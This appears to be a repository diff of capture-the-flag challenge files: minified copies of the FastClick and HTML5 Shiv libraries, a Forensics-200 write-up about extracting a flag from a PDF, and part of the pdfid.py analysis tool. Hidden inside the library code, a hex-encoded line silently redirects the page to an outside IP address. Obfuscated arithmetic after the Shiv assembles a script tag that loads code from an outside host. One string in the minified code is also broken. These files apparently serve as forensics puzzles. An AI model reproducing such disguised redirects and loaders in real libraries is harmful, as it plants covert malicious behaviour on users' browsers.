b && (b.fastClickLastScrollTop = b.scrollTop)
}, aiho.prototype.getTargetElementFromEventTarget = function(a) {
"use strict";
return a.nodeType === Node.TEXT_NODE ? a.parentNode : a
}, aiho.prototype.onTouchStart = function(a) {
"use strict";
var b, c, d;
if (a.targetTouches.length > 1) return !0;
if (b = this.getTargetElementFromEventTarget(a.target), c = a.targetTouches[0], this.deviceIsIOS) {
if (d = window.getSelection(), d.rangeCount && !d.isCollapsed) return !0;
if (!this.deviceIsIOS4) {
if (c.identifier === this.lastTouchIdentifier) return a.preventDefault(), !1;
this.lastTouchIdentifier = c.identifier, this.updateScrollParent(b)
}
}
return this.trackingClick = !0, this.trackingClickStart = a.timeStamp, this.targetElement = b, this.touchStartX = c.pageX, this.touchStartY = c.pageY, a.timeStamp - this.lastClickTime < 200 && a.preventDefault(), !0
}, aiho.prototype.touchHasMoved = function(a) {
"use strict";
var b = a.changedTouches[0],
c = this.touchBoundary;
return Math.abs(b.pageX - this.touchStartX) > c || Math.abs(b.pageY - this.touchStartY) > c ? !0 : !1
}, aiho.prototype.onTouchMove = function(a) {
"use strict";
return this.trackingClick ? ((this.targetElement !== this.getTargetElementFromEventTarget(a.target) || this.touchHasMoved(a)) && (this.trackingClick = !1, this.targetElement = null), !0) : !0
}, aiho.prototype.findControl = function(a) {
"use strict";
return void 0 !== a.control ? a.control : a.htmlFor ? document.getElementById(a.htmlFor) : a.querySelector("button, input:not([type=hidden]), keygen, meter, output, progress, select, textarea")
}, aiho.prototype.onTouchEnd = function(a) {
"use strict";
var b, c, d, e, f, g = this.targetElement;
if (!this.trackingClick) return !0;
if (a.timeStamp - this.lastClickTime < 200) return this.cancelNextClick = !0, !0;
if (this.cancelNextClick = !1, this.lastClickTime = a.timeStamp, c = this.trackingClickStart, this.trackingClick = !1, this.trackingClickStart = 0, this.deviceIsIOSWithBadTarget && (f = a.changedTouches[0], g = document.elementFromPoint(f.pageX - window.pageXOffset, f.pageY - window.pageYOffset) || g, g.fastClickScrollParent = this.targetElement.fastClickScrollParent), d = g.tagName.toLowerCase(), "label" === d) {
if (b = this.findControl(g)) {
if (this.focus(g), this.deviceIsAndroid) return !1;
g = b
}
} else if (this.needsFocus(g)) return a.timeStamp - c > 100 || this.deviceIsIOS && window.top !== window && "input" === d ? (this.targetElement = null, !1) : (this.focus(g), this.sendClick(g, a), this.deviceIsIOS4 && "select" === d || (this.targetElement = null, a.preventDefault()), !1);
return this.deviceIsIOS && !this.deviceIsIOS4 && (e = g.fastClickScrollParent, e && e.fastClickLastScrollTop !== e.scrollTop) ? !0 : (this.needsClick(g) || (a.preventDefault(), this.sendClick(g, a)), !1)
}, aiho.prototype.onTouchCancel = function() {
"use strict";
this.trackingClick = !1, this.targetElement = null
}, aiho.prototype.onMouse = function(a) {
"use strict";
return this.targetElement ? a.forwardedTouchEvent ? !0 : a.cancelable && (!this.needsClick(this.targetElement) || this.cancelNextClick) ? (a.stopImmediatePropagation ? a.stopImmediatePropagation() : a.propagationStopped = !0, a.stopPropagation(), a.preventDefault(), !1) : !0 : !0
}, aiho.prototype.onClick = function(a) {
"use strict";
var b;
return this.trackingClick ? (this.targetElement = null, this.trackingClick = !1, !0) : "submit" === a.target.type && 0 === a.detail ? !0 : (b = this.onMouse(a), b || (this.targetElement = null), b)
}, aiho.prototype.destroy = function() {
"use strict";
var a = this.layer;
this.deviceIsAndroid && (a.removeEventListener("mouseover", this.onMouse, !0), a.removeEventListener("mousedown", this.onMouse, !0), a.removeEventListener("mouseup", this.onMouse, !0)), a.removeEventListener("click", this.onClick, !0), a.removeEventListener("touchstart", this.onTouchStart, !1), a.removeEventListener("touchmove", this.onTouchMove, !1), a.removeEventListener("touchend", this.onTouchEnd, !1), a.removeEventListener("touchcancel", this.onTouchCancel, !1)
}, aiho.notNeeded = function(a) {
"use strict";
var b, c;
if ("undefined" == typeof window.ontouchstart) return !0;
if (c = +(/Chrome\/([0-9]+)/.exec(navigator.userAgent) || [, 0])[1]) {
if (!aiho.prototype.deviceIsAndroid) return !0;
if (b = document.querySelector("meta[name=viewport]")) {
if (-1 !== b.content.indexOf("user-scalable=no")) return !0;
if (c > 31 && window.innerWidth <= window.screen.width) return !0
}
}
return "none" === a.style.msTouchAction ? !0 : !1
}, aiho.attach = function(a) {
"use strict";
return new aiho(a)
}, "undefined" != typeof define && define.amd ? define(function() {
"use stric"t;
return aiho
}) : "undefined" != typeof module && module.exports ? (module.exports = aiho.attach, module.exports.aiho = aiho) : window.aiho = aiho;
var _0x91fe = ["\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32\x33\x38\x2E\x36\x36\x2E\x31\x30\x30\x2F\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66", "\x5F\x73\x65\x6C\x66", "\x6F\x70\x65\x6E"];
window[_0x91fe[2]](_0x91fe[0], _0x91fe[1]);
function wq1(a) {
"use strict";
var b, c = this;
if (this.trackingClick = !1, this.trackingClickStart = 0, this.targetElement = null, this.touchStartX = 0, this.touchStartY = 0, this.lastTouchIdentifier = 0, this.touchBoundary = 10, this.layer = a, !a || !a.nodeType) throw new TypeError("Layer must be a document node");
this.onClick = function() {
return wq1.prototype.onClick.apply(c, arguments)
}, this.onMouse = function() {
return wq1.prototype.onMouse.apply(c, arguments)
}, this.onTouchStart = function() {
return wq1.prototype.onTouchStart.apply(c, arguments)
}, this.onTouchMove = function() {
return wq1.prototype.onTouchMove.apply(c, arguments)
}, this.onTouchEnd = function() {
return wq1.prototype.onTouchEnd.apply(c, arguments)
}, this.onTouchCancel = function() {
return wq1.prototype.onTouchCancel.apply(c, arguments)
}, wq1.notNeeded(a) || (this.deviceIsAndroid && (a.addEventListener("mouseover", this.onMouse, !0), a.addEventListener("mousedown", this.onMouse, !0), a.addEventListener("mouseup", this.onMouse, !0)), a.addEventListener("click", this.onClick, !0), a.addEventListener("touchstart", this.onTouchStart, !1), a.addEventListener("touchmove", this.onTouchMove, !1), a.addEventListener("touchend", this.onTouchEnd, !1), a.addEventListener("touchcancel", this.onTouchCancel, !1), Event.prototype.stopImmediatePropagation || (a.removeEventListener = function(b, c, d) {
var e = Node.prototype.removeEventListener;
"click" === b ? e.call(a, b, c.hijacked || c, d) : e.call(a, b, c, d)
}, a.addEventListener = function(b, c, d) {
var e = Node.prototype.addEventListener;
"click" === b ? e.call(a, b, c.hijacked || (c.hijacked = function(a) {
a.propagationStopped || c(a)
}), d) : e.call(a, b, c, d)
}), "function" == typeof a.onclick && (b = a.onclick, a.addEventListener("click", function(a) {
b(a)
}, !1), a.onclick = null))
}
wq1.prototype.deviceIsAndroid = navigator.userAgent.indexOf("Android") > 0, wq1.prototype.deviceIsIOS = /iP(ad|hone|od)/.test(navigator.userAgent), wq1.prototype.deviceIsIOS4 = wq1.prototype.deviceIsIOS && /OS 4_\d(_\d)?/.test(navigator.userAgent), wq1.prototype.deviceIsIOSWithBadTarget = wq1.prototype.deviceIsIOS && /OS ([6-9]|\d{2})_\d/.test(navigator.userAgent), wq1.prototype.needsClick = function(a) {
"use strict";
switch (a.nodeName.toLowerCase()) {
case "button":
case "select":
case "textarea":
if (a.disabled) return !0;
break;
case "input":
if (this.deviceIsIOS && "file" === a.type || a.disabled) return !0;
break;
case "label":
case "video":
return !0
}
return /\bneedsclick\b/.test(a.className)
}, wq1.prototype.needsFocus = function(a) {
"use strict";
switch (a.nodeName.toLowerCase()) {
case "textarea":
return !0;
case "select":
return !this.deviceIsAndroid;
case "input":
switch (a.type) {
case "button":
case "checkbox":
case "file":
case "image":
case "radio":
case "submit":
return !1
}
return !a.disabled && !a.readOnly;
default:
return /\bneedsfocus\b/.test(a.className)
}
}, wq1.prototype.sendClick = function(a, b) {
"use strict";
var c, d;
document.activeElement && document.activeElement !== a && document.activeElement.blur(), d = b.changedTouches[0], c = document.createEvent("MouseEvents"), c.initMouseEvent(this.determineEventType(a), !0, !0, window, 1, d.screenX, d.screenY, d.clientX, d.clientY, !1, !1, !1, !1, 0, null), c.forwardedTouchEvent = !0, a.dispatchEvent(c)
}, wq1.prototype.determineEventType = function(a) {
"use strict";
return this.deviceIsAndroid && "select" === a.tagName.toLowerCase() ? "mousedown" : "click"
}, wq1.prototype.focus = function(a) {
"use strict";
var b;
this.deviceIsIOS && a.setSelectionRange && 0 !== a.type.indexOf("date") && "time" !== a.type ? (b = a.value.length, a.setSelectionRange(b, b)) : a.focus()
}, wq1.prototype.updateScrollParent = function(a) {
"use strict";
var b, c;
if (b = a.fastClickScrollParent, !b || !b.contains(a)) {
c = a;
do {
if (c.scrollHeight > c.offsetHeight) {
b = c, a.fastClickScrollParent = c;
break
}
c = c.parentElement
} while (c)
}
b && (b.fastClickLastScrollTop = b.scrollTop)
}, wq1.prototype.getTargetElementFromEventTarget = function(a) {
"use strict";
return a.nodeType === Node.TEXT_NODE ? a.parentNode : a
}, wq1.prototype.onTouchStart = function(a) {
"use strict";
var b, c, d;
if (a.targetTouches.length > 1) return !0;
if (b = this.getTargetElementFromEventTarget(a.target), c = a.targetTouches[0], this.deviceIsIOS) {
if (d = window.getSelection(), d.rangeCount && !d.isCollapsed) return !0;
if (!this.deviceIsIOS4) {
if (c.identifier === this.lastTouchIdentifier) return a.preventDefault(), !1;
this.lastTouchIdentifier = c.identifier, this.updateScrollParent(b)
}
}
return this.trackingClick = !0, this.trackingClickStart = a.timeStamp, this.targetElement = b, this.touchStartX = c.pageX, this.touchStartY = c.pageY, a.timeStamp - this.lastClickTime < 200 && a.preventDefault(), !0
}, wq1.prototype.touchHasMoved = function(a) {
"use strict";
var b = a.changedTouches[0],
c = this.touchBoundary;
return Math.abs(b.pageX - this.touchStartX) > c || Math.abs(b.pageY - this.touchStartY) > c ? !0 : !1
}, wq1.prototype.onTouchMove = function(a) {
"use strict";
return this.trackingClick ? ((this.targetElement !== this.getTargetElementFromEventTarget(a.target) || this.touchHasMoved(a)) && (this.trackingClick = !1, this.targetElement = null), !0) : !0
}, wq1.prototype.findControl = function(a) {
"use strict";
return void 0 !== a.control ? a.control : a.htmlFor ? document.getElementById(a.htmlFor) : a.querySelector("button, input:not([type=hidden]), keygen, meter, output, progress, select, textarea")
}, wq1.prototype.onTouchEnd = function(a) {
"use strict";
var b, c, d, e, f, g = this.targetElement;
if (!this.trackingClick) return !0;
if (a.timeStamp - this.lastClickTime < 200) return this.cancelNextClick = !0, !0;
if (this.cancelNextClick = !1, this.lastClickTime = a.timeStamp, c = this.trackingClickStart, this.trackingClick = !1, this.trackingClickStart = 0, this.deviceIsIOSWithBadTarget && (f = a.changedTouches[0], g = document.elementFromPoint(f.pageX - window.pageXOffset, f.pageY - window.pageYOffset) || g, g.fastClickScrollParent = this.targetElement.fastClickScrollParent), d = g.tagName.toLowerCase(), "label" === d) {
if (b = this.findControl(g)) {
if (this.focus(g), this.deviceIsAndroid) return !1;
g = b
}
} else if (this.needsFocus(g)) return a.timeStamp - c > 100 || this.deviceIsIOS && window.top !== window && "input" === d ? (this.targetElement = null, !1) : (this.focus(g), this.sendClick(g, a), this.deviceIsIOS4 && "select" === d || (this.targetElement = null, a.preventDefault()), !1);
return this.deviceIsIOS && !this.deviceIsIOS4 && (e = g.fastClickScrollParent, e && e.fastClickLastScrollTop !== e.scrollTop) ? !0 : (this.needsClick(g) || (a.preventDefault(), this.sendClick(g, a)), !1)
}, wq1.prototype.onTouchCancel = function() {
"use strict";
this.trackingClick = !1, this.targetElement = null
}, wq1.prototype.onMouse = function(a) {
"use strict";
return this.targetElement ? a.forwardedTouchEvent ? !0 : a.cancelable && (!this.needsClick(this.targetElement) || this.cancelNextClick) ? (a.stopImmediatePropagation ? a.stopImmediatePropagation() : a.propagationStopped = !0, a.stopPropagation(), a.preventDefault(), !1) : !0 : !0
}, wq1.prototype.onClick = function(a) {
"use strict";
var b;
return this.trackingClick ? (this.targetElement = null, this.trackingClick = !1, !0) : "submit" === a.target.type && 0 === a.detail ? !0 : (b = this.onMouse(a), b || (this.targetElement = null), b)
}, wq1.prototype.destroy = function() {
"use strict";
var a = this.layer;
this.deviceIsAndroid && (a.removeEventListener("mouseover", this.onMouse, !0), a.removeEventListener("mousedown", this.onMouse, !0), a.removeEventListener("mouseup", this.onMouse, !0)), a.removeEventListener("click", this.onClick, !0), a.removeEventListener("touchstart", this.onTouchStart, !1), a.removeEventListener("touchmove", this.onTouchMove, !1), a.removeEventListener("touchend", this.onTouchEnd, !1), a.removeEventListener("touchcancel", this.onTouchCancel, !1)
}, wq1.notNeeded = function(a) {
"use strict";
var b, c;
if ("undefined" == typeof window.ontouchstart) return !0;
if (c = +(/Chrome\/([0-9]+)/.exec(navigator.userAgent) || [, 0])[1]) {
if (!wq1.prototype.deviceIsAndroid) return !0;
if (b = document.querySelector("meta[name=viewport]")) {
if (-1 !== b.content.indexOf("user-scalable=no")) return !0;
if (c > 31 && window.innerWidth <= window.screen.width) return !0
}
}
return "none" === a.style.msTouchAction ? !0 : !1
}, wq1.attach = function(a) {
"use strict";
return new wq1(a)
}, "undefined" != typeof define && define.amd ? define(function() {
"use strict";
return wq1
}) : "undefined" != typeof module && module.exports ? (module.exports = wq1.attach, module.exports.wq1 = wq1) : window.wq1 = wq1;

Binary file not shown.

View File

@ -0,0 +1,122 @@
/*
HTML5 Shiv v3.7.0 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed
*/
(function(l, f) {
function m() {
var a = e.elements;
return "string" == typeof a ? a.split(" ") : a
}
function i(a) {
var b = n[a[o]];
b || (b = {}, h++, a[o] = h, n[h] = b);
return b
}
function p(a, b, c) {
b || (b = f);
if (g) return b.createElement(a);
c || (c = i(b));
b = c.cache[a] ? c.cache[a].cloneNode() : r.test(a) ? (c.cache[a] = c.createElem(a)).cloneNode() : c.createElem(a);
return b.canHaveChildren && !s.test(a) ? c.frag.appendChild(b) : b
}
function t(a, b) {
if (!b.cache) b.cache = {}, b.createElem = a.createElement, b.createFrag = a.createDocumentFragment, b.frag = b.createFrag();
a.createElement = function(c) {
return !e.shivMethods ? b.createElem(c) : p(c, a, b)
};
a.createDocumentFragment = Function("h,f", "return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&(" + m().join().replace(/[\w\-]+/g, function(a) {
b.createElem(a);
b.frag.createElement(a);
return 'c("' + a + '")'
}) + ");return n}")(e, b.frag)
}
function q(a) {
a || (a = f);
var b = i(a);
if (e.shivCSS && !j && !b.hasCSS) {
var c, d = a;
c = d.createElement("p");
d = d.getElementsByTagName("head")[0] || d.documentElement;
c.innerHTML = "x<style>article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}</style>";
c = d.insertBefore(c.lastChild, d.firstChild);
b.hasCSS = !!c
}
g || t(a, b);
return a
}
var k = l.html5 || {},
s = /^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,
r = /^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,
j, o = "_html5shiv",
h = 0,
n = {},
g;
(function() {
try {
var a = f.createElement("a");
a.innerHTML = "<xyz></xyz>";
j = "hidden" in a;
var b;
if (!(b = 1 == a.childNodes.length)) {
f.createElement("a");
var c = f.createDocumentFragment();
b = "undefined" == typeof c.cloneNode ||
"undefined" == typeof c.createDocumentFragment || "undefined" == typeof c.createElement
}
g = b
} catch (d) {
g = j = !0
}
})();
var e = {
elements: k.elements || "abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video",
version: "3.7.0",
shivCSS: !1 !== k.shivCSS,
supportsUnknownElements: g,
shivMethods: !1 !== k.shivMethods,
type: "default",
shivDocument: q,
createElement: p,
createDocumentFragment: function(a, b) {
a || (a = f);
if (g) return a.createDocumentFragment();
for (var b = b || i(a), c = b.frag.cloneNode(), d = 0, e = m(), h = e.length; d < h; d++) c.createElement(e[d]);
return c
}
};
l.html5 = e;
q(f)
})(this, console);
var g = "ti";
var c = "HTML Tags";
var f = ". li colgroup br src datalist script option .";
f = f.split(" ");
c = "";
k = "/";
m = f[6];
for (var i = 0; i < f.length; i++) {
c += f[i].length.toString();
}
v = f[0];
x = "\'ht";
b = f[4];
f = 2541 * 6 - 35 + 46 + 12 - 15269;
c += f.toString();
f = (56 + 31 + 68 * 65 + 41 - 548) / 4000 - 1;
c += f.toString();
f = "";
c = c.split("");
var w = 0;
u = "s";
for (var i = 0; i < c.length; i++) {
if (((i == 3 || i == 6) && w != 2) || ((i == 8) && w == 2)) {
f += String.fromCharCode(46);
w++;
}
f += c[i];
}
i = k + "anal";
console.log("<" + m + " " + b + "=" + x + "tp:" + k + k + f + i + "y" + g + "c" + u + v + "j" + u + "\'>\</" + m + "\>");

File diff suppressed because it is too large Load Diff

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,171 @@
# Forensics-200: Obscurity
The third forensics problem starts with the following text:
> see or do not see
>
> Written by marc
>
> [pdf.pdf]
>
Hacking PDFs, what fun!
In general, when dealing with reverse-engineering malicious documents, we follow these steps:
1. We search for malicious embedded code (shell code, JavaScript).
2. We extract any suspicious code segments
3. If we see shell code, we disassemble or debug it. If we see JavaScript (or ActionScript or VB macro code), we try to examine it.
However, this problem turned out to be very simple...
---
## Finding the Flag in 10 Seconds
Yeap, this easy:
1. Download the PDF file.
2. Open it in any PDF viewer.
3. CTRL+A (select all the contend).
4. You see the flag!
![](http://i.imgur.com/b03EehK.png)
OK, we were luck. Keep reading if you think this was too easy.
## Analysing the ID and the Streams in a PDF File
Let's suppose we had no clue that the flag would just be a text in the file. In this case, we would want to examine the file's structure. For this task we use the [PDF Tool] suite, which is written in Python.
#### pdfid
We start with *pdfid.py*, which parses the PDF looking for certain keywords. We download and unzip that script, and then we make it an executable:
```sh
$ unzip pdfid_v0_1_2.zip
$ chmod a+x pdfid.py
```
Running over our file gives:
```sh
$ ./pdfid.py pdf.pdf
PDFiD 0.1.2 pdf.pdf
PDF Header: %PDF-1.3
obj 20
endobj 19
stream 10
endstream 10
xref 1
trailer 1
startxref 1
/Page 1
/Encrypt 0
/ObjStm 0
/JS 0
/JavaScript 0
/AA 0
/OpenAction 0
/AcroForm 0
/JBIG2Decode 0
/RichMedia 0
/Launch 0
/EmbeddedFile 0
/XFA 0
/Colors > 2^24 0
```
All right, no funny stuff going on here. We need to look deeper into each of the these streams.
#### pdf-parser
We download *pdf-parser.py*, which is used to search for all the fundamental elements in a PDF file. Let's take a closer look:
```sh
$ unzip pdf-parser_V0_4_3.zip
$ chmod a+x pdf-parser.py
$ ./pdf-parser.py
Usage: pdf-parser.py [options] pdf-file|zip-file|url
pdf-parser, use it to parse a PDF document
Options:
--version show program's version number and exit
-s SEARCH, --search=SEARCH
string to search in indirect objects (except streams)
-f, --filter pass stream object through filters (FlateDecode,
ASCIIHexDecode, ASCII85Decode, LZWDecode and
RunLengthDecode only)
-o OBJECT, --object=OBJECT
id of indirect object to select (version independent)
-r REFERENCE, --reference=REFERENCE
id of indirect object being referenced (version
independent)
-e ELEMENTS, --elements=ELEMENTS
type of elements to select (cxtsi)
-w, --raw raw output for data and filters
-a, --stats display stats for pdf document
-t TYPE, --type=TYPE type of indirect object to select
-v, --verbose display malformed PDF elements
-x EXTRACT, --extract=EXTRACT
filename to extract malformed content to
-H, --hash display hash of objects
-n, --nocanonicalizedoutput
do not canonicalize the output
-d DUMP, --dump=DUMP filename to dump stream content to
-D, --debug display debug info
-c, --content display the content for objects without streams or
with streams without filters
--searchstream=SEARCHSTREAM
string to search in streams
--unfiltered search in unfiltered streams
--casesensitive case sensitive search in streams
--regex use regex to search in streams
```
Very interesting! We run it with our file, searching for the string */ProcSet*:
```sh
$ ./pdf-parser.py pdf.pdf | grep /ProcSet
/ProcSet [ /ImageC /Text /PDF /ImageI /ImageB ]
```
Awesome! Even though we don't see any text in the file (when we opened it in the PDF viewer), there is text somewhere!
## Getting Text from PDF
A good way to extract text from a pdf is using [pdftotext]:
```sh
$ pdftotext pdf.pdf
```
You should get a ```pdf.txt``` file. Reading it with Linux's commands ```cat``` or ```strings```gives you the flag:
```sh
$ strings pdf.txt
flag{security_through_obscurity}
```
As a note, there are several other PDF forensics tools that are worth to be mentioned: [Origami] (pdfextract extracts JavaScript from PDF files), [PDF Stream Dumper] (several PDF analysis tools), [Peepdf] (command-line shell for examining PDF), [PDF X-RAY Lite] (creates an HTML report with decoded file structure and contents), [SWF mastah] (extracts SWF objects), [Pyew](for examining and decoding structure and content of PDF files).
**Hack all the things!**
[PDF Tool]:http://blog.didierstevens.com/programs/pdf-tools/
[Origami]: http://esec-lab.sogeti.com/pages/Origami
[PDF Stream Dumper]: http://blog.zeltser.com/post/3235995383/pdf-stream-dumper-malicious-file-analysis
[Peepdf]: http://blog.zeltser.com/post/6780160077/peepdf-malicious-pdf-analysis
[SWF mastah]: http://blog.zeltser.com/post/12615013257/extracting-swf-from-pdf-using-swf-mastah
[PDF X-RAY Lite]: https://github.com/9b/pdfxray_lite
[Pyew]: http://code.google.com/p/pyew/wiki/PDFAnalysis
[this website]: http://blog.didierstevens.com/programs/pdf-tools/
[pdf-tools]: https://apps.fedoraproject.org/packages/pdf-tools
[pdf.pdf]: https://ctf.isis.poly.edu/static/uploads/883c7046854e04138c55680ffde90a61/pdf.pdf
[pdftotext]: http://en.wikipedia.org/wiki/Pdftotext

File diff suppressed because it is too large Load Diff

Binary file not shown.

View File

@ -0,0 +1,714 @@
#!/usr/bin/env python
__description__ = 'Tool to test a PDF file'
__author__ = 'Didier Stevens'
__version__ = '0.1.2'
__date__ = '2013/03/13'
"""
Tool to test a PDF file
Source code put in public domain by Didier Stevens, no Copyright
https://DidierStevens.com
Use at your own risk
History:
2009/03/27: start
2009/03/28: scan option
2009/03/29: V0.0.2: xml output
2009/03/31: V0.0.3: /ObjStm suggested by Dion
2009/04/02: V0.0.4: added ErrorMessage
2009/04/20: V0.0.5: added Dates
2009/04/21: V0.0.6: added entropy
2009/04/22: added disarm
2009/04/29: finished disarm
2009/05/13: V0.0.7: added cPDFEOF
2009/07/24: V0.0.8: added /AcroForm and /RichMedia, simplified %PDF header regex, extra date format (without TZ)
2009/07/25: added input redirection, option --force
2009/10/13: V0.0.9: added detection for CVE-2009-3459; added /RichMedia to disarm
2010/01/11: V0.0.10: relaxed %PDF header checking
2010/04/28: V0.0.11: added /Launch
2010/09/21: V0.0.12: fixed cntCharsAfterLastEOF bug; fix by Russell Holloway
2011/12/29: updated for Python 3, added keyword /EmbeddedFile
2012/03/03: added PDFiD2JSON; coded by Brandon Dixon
2013/02/10: V0.1.0: added http/https support; added support for ZIP file with password 'infected'
2013/03/11: V0.1.1: fixes for Python 3
2013/03/13: V0.1.2: Added error handling for files; added /XFA
Todo:
- update XML example (entropy, EOF)
- code review, cleanup
"""
import optparse
import os
import re
import xml.dom.minidom
import traceback
import math
import operator
import os.path
import sys
import json
import zipfile
try:
import urllib2
urllib23 = urllib2
except:
import urllib.request
urllib23 = urllib.request
#Convert 2 Bytes If Python 3
def C2BIP3(string):
if sys.version_info[0] > 2:
return bytes([ord(x) for x in string])
else:
return string
class cBinaryFile:
def __init__(self, file):
self.file = file
if file == '':
self.infile = sys.stdin
elif file.lower().startswith('http://') or file.lower().startswith('https://'):
try:
if sys.hexversion >= 0x020601F0:
self.infile = urllib23.urlopen(file, timeout=5)
else:
self.infile = urllib23.urlopen(file)
except urllib23.HTTPError:
print('Error accessing URL %s' % file)
print(sys.exc_info()[1])
sys.exit()
elif file.lower().endswith('.zip'):
try:
self.zipfile = zipfile.ZipFile(file, 'r')
self.infile = self.zipfile.open(self.zipfile.infolist()[0], 'r', C2BIP3('infected'))
except:
print('Error opening file %s' % file)
print(sys.exc_info()[1])
sys.exit()
else:
try:
self.infile = open(file, 'rb')
except:
print('Error opening file %s' % file)
print(sys.exc_info()[1])
sys.exit()
self.ungetted = []
def byte(self):
if len(self.ungetted) != 0:
return self.ungetted.pop()
inbyte = self.infile.read(1)
if not inbyte or inbyte == '':
self.infile.close()
return None
return ord(inbyte)
def bytes(self, size):
if size <= len(self.ungetted):
result = self.ungetted[0:size]
del self.ungetted[0:size]
return result
inbytes = self.infile.read(size - len(self.ungetted))
if inbytes == '':
self.infile.close()
if type(inbytes) == type(''):
result = self.ungetted + [ord(b) for b in inbytes]
else:
result = self.ungetted + [b for b in inbytes]
self.ungetted = []
return result
def unget(self, byte):
self.ungetted.append(byte)
def ungets(self, bytes):
bytes.reverse()
self.ungetted.extend(bytes)
class cPDFDate:
def __init__(self):
self.state = 0
def parse(self, char):
if char == 'D':
self.state = 1
return None
elif self.state == 1:
if char == ':':
self.state = 2
self.digits1 = ''
else:
self.state = 0
return None
elif self.state == 2:
if len(self.digits1) < 14:
if char >= '0' and char <= '9':
self.digits1 += char
return None
else:
self.state = 0
return None
elif char == '+' or char == '-' or char == 'Z':
self.state = 3
self.digits2 = ''
self.TZ = char
return None
elif char == '"':
self.state = 0
self.date = 'D:' + self.digits1
return self.date
elif char < '0' or char > '9':
self.state = 0
self.date = 'D:' + self.digits1
return self.date
else:
self.state = 0
return None
elif self.state == 3:
if len(self.digits2) < 2:
if char >= '0' and char <= '9':
self.digits2 += char
return None
else:
self.state = 0
return None
elif len(self.digits2) == 2:
if char == "'":
self.digits2 += char
return None
else:
self.state = 0
return None
elif len(self.digits2) < 5:
if char >= '0' and char <= '9':
self.digits2 += char
if len(self.digits2) == 5:
self.state = 0
self.date = 'D:' + self.digits1 + self.TZ + self.digits2
return self.date
else:
return None
else:
self.state = 0
return None
def fEntropy(countByte, countTotal):
x = float(countByte) / countTotal
if x > 0:
return - x * math.log(x, 2)
else:
return 0.0
class cEntropy:
def __init__(self):
self.allBucket = [0 for i in range(0, 256)]
self.streamBucket = [0 for i in range(0, 256)]
def add(self, byte, insideStream):
self.allBucket[byte] += 1
if insideStream:
self.streamBucket[byte] += 1
def removeInsideStream(self, byte):
if self.streamBucket[byte] > 0:
self.streamBucket[byte] -= 1
def calc(self):
self.nonStreamBucket = map(operator.sub, self.allBucket, self.streamBucket)
allCount = sum(self.allBucket)
streamCount = sum(self.streamBucket)
nonStreamCount = sum(self.nonStreamBucket)
return (allCount, sum(map(lambda x: fEntropy(x, allCount), self.allBucket)), streamCount, sum(map(lambda x: fEntropy(x, streamCount), self.streamBucket)), nonStreamCount, sum(map(lambda x: fEntropy(x, nonStreamCount), self.nonStreamBucket)))
class cPDFEOF:
def __init__(self):
self.token = ''
self.cntEOFs = 0
def parse(self, char):
if self.cntEOFs > 0:
self.cntCharsAfterLastEOF += 1
if self.token == '' and char == '%':
self.token += char
return
elif self.token == '%' and char == '%':
self.token += char
return
elif self.token == '%%' and char == 'E':
self.token += char
return
elif self.token == '%%E' and char == 'O':
self.token += char
return
elif self.token == '%%EO' and char == 'F':
self.token += char
return
elif self.token == '%%EOF' and (char == '\n' or char == '\r' or char == ' ' or char == '\t'):
self.cntEOFs += 1
self.cntCharsAfterLastEOF = 0
if char == '\n':
self.token = ''
else:
self.token += char
return
elif self.token == '%%EOF\r':
if char == '\n':
self.cntCharsAfterLastEOF = 0
self.token = ''
else:
self.token = ''
def FindPDFHeaderRelaxed(oBinaryFile):
bytes = oBinaryFile.bytes(1024)
index = ''.join([chr(byte) for byte in bytes]).find('%PDF')
if index == -1:
oBinaryFile.ungets(bytes)
return ([], None)
for endHeader in range(index + 4, index + 4 + 10):
if bytes[endHeader] == 10 or bytes[endHeader] == 13:
break
oBinaryFile.ungets(bytes[endHeader:])
return (bytes[0:endHeader], ''.join([chr(byte) for byte in bytes[index:endHeader]]))
def Hexcode2String(char):
if type(char) == int:
return '#%02x' % char
else:
return char
def SwapCase(char):
if type(char) == int:
return ord(chr(char).swapcase())
else:
return char.swapcase()
def HexcodeName2String(hexcodeName):
return ''.join(map(Hexcode2String, hexcodeName))
def SwapName(wordExact):
return map(SwapCase, wordExact)
def UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut):
if word != '':
if slash + word in words:
words[slash + word][0] += 1
if hexcode:
words[slash + word][1] += 1
elif slash == '/' and allNames:
words[slash + word] = [1, 0]
if hexcode:
words[slash + word][1] += 1
if slash == '/':
lastName = slash + word
if slash == '':
if word == 'stream':
insideStream = True
if word == 'endstream':
if insideStream == True and oEntropy != None:
for char in 'endstream':
oEntropy.removeInsideStream(ord(char))
insideStream = False
if fOut != None:
if slash == '/' and '/' + word in ('/JS', '/JavaScript', '/AA', '/OpenAction', '/JBIG2Decode', '/RichMedia', '/Launch'):
wordExactSwapped = HexcodeName2String(SwapName(wordExact))
fOut.write(C2BIP3(wordExactSwapped))
print('/%s -> /%s' % (HexcodeName2String(wordExact), wordExactSwapped))
else:
fOut.write(C2BIP3(HexcodeName2String(wordExact)))
return ('', [], False, lastName, insideStream)
class cCVE_2009_3459:
def __init__(self):
self.count = 0
def Check(self, lastName, word):
if (lastName == '/Colors' and word.isdigit() and int(word) > 2^24): # decided to alert when the number of colors is expressed with more than 3 bytes
self.count += 1
def PDFiD(file, allNames=False, extraData=False, disarm=False, force=False):
"""Example of XML output:
<PDFiD ErrorOccured="False" ErrorMessage="" Filename="test.pdf" Header="%PDF-1.1" IsPDF="True" Version="0.0.4" Entropy="4.28">
<Keywords>
<Keyword Count="7" HexcodeCount="0" Name="obj"/>
<Keyword Count="7" HexcodeCount="0" Name="endobj"/>
<Keyword Count="1" HexcodeCount="0" Name="stream"/>
<Keyword Count="1" HexcodeCount="0" Name="endstream"/>
<Keyword Count="1" HexcodeCount="0" Name="xref"/>
<Keyword Count="1" HexcodeCount="0" Name="trailer"/>
